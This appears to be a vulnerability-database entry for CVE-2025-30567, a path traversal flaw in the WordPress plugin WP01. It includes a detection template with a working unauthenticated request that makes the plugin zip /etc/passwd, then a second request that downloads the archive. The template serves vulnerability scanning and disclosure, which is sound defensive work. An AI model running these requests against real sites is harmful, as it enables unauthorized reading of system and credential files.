CVE-2025-30567: WordPress WP01 - Path Traversal

2025-08-01 WordPress WP01 PoC Public

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in wp01ru WP01 allows Path Traversal. This issue affects WP01: from n/a through 2.6.2.

PoC

id: CVE-2025-30567

info:
  name: WordPress WP01 - Path Traversal
  author: s4e-io
  severity: high
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in wp01ru WP01 allows Path Traversal. This issue affects WP01: from n/a through 2.6.2.
  impact: |
    Unauthenticated attackers can exploit path traversal to download arbitrary files from the server as ZIP archives, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Upgrade to WP01 version 2.6.3 or later that properly validates file paths in the generate ZIP archive functionality.
  reference:
    - https://github.com/Oyst3r1ng/CVE-2025-30567
    - https://patchstack.com/database/wordpress/plugin/wp01/vulnerability/wordpress-wp01-2-6-2-arbitrary-file-download-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30567
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-30567
    cwe-id: CWE-22
    epss-score: 0.02786
    epss-percentile: 0.85689
  metadata:
    verified: true
    max-request: 2
    vendor: wp01ru
    product: wp01
    framework: wordpress
  tags: cve,cve2025,lfi,wp-plugin,wordpress,wp01,wp,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        target=passwd&path=/etc/

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wp-01-passwd.zip")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/wp01-backup/wp-01-passwd.zip HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/zip")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502206bbadb13ada4ee19be0c2e119650aa1f953605110e9968782ffe80ecf68037a0022100c30cfb63ccbec0459bc07c283929c82e43917700e723472f121843bb217c8a90:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities